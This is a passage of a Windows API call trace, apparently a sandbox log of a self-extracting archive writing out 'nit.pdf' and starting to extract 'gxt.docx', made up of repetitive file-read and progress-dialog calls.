lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1e2, lpOverlapped=0x0) returned 1 [0068.016] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.016] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.016] GetTickCount () returned 0x1f9f7 [0068.016] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.016] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.016] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.016] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.016] GetTickCount () returned 0x1f9f7 [0068.016] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.016] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.016] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.016] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.016] GetTickCount () returned 0x1f9f7 [0068.016] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.016] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.016] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.016] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.016] GetTickCount () returned 0x1f9f7 [0068.016] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.016] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.017] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.017] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.017] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.017] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.017] GetTickCount () returned 0x1f9f7 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.018] GetTickCount () returned 0x1f9f7 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.018] GetTickCount () returned 0x1f9f7 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.018] GetTickCount () returned 0x1f9f7 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.018] GetTickCount () returned 0x1f9f7 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.018] GetTickCount () returned 0x1f9f7 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.018] GetTickCount () returned 0x1f9f7 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.018] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.018] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.018] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.018] GetTickCount () returned 0x1fa07 [0068.018] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.018] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.018] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.018] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.019] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.019] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.019] GetTickCount () returned 0x1fa07 [0068.019] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.019] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x259, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x259, lpOverlapped=0x0) returned 1 [0068.020] GetTickCount () returned 0x1fa07 [0068.020] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.020] SetFilePointer (in: hFile=0x1c, lDistanceToMove=858471, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1967 [0068.020] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.020] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.020] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.020] CloseHandle (hObject=0x138) returned 1 [0068.021] SetFileAttributesA (lpFileName="nit.pdf", dwFileAttributes=0x20) returned 1 [0068.021] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1967 [0068.021] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.021] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x26, lpOverlapped=0x0) returned 1 [0068.022] OemToCharA (in: pSrc="gxt.docx", pDst=0x179cc0 | out: pDst="gxt.docx") returned 1 [0068.022] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="gxt.docx", cchCount2=1) returned 1 [0068.022] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="gxt.docx", cchCount2=6) returned 1 [0068.022] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="gxt.docx", cchCount2=-1) returned 1 [0068.022] SetFilePointer (in: hFile=0x1c, lDistanceToMove=858516, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd1994 [0068.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="gxt.docx") returned 9 [0068.022] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419ab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.022] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting gxt.docx") returned 19 [0068.022] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting gxt.docx") returned 1 [0068.022] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.022] OemToCharBuffA (in: lpszSrc="g", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="g") returned 1 [0068.022] CharToOemBuffA (in: lpszSrc="G", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="G") returned 1 [0068.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, 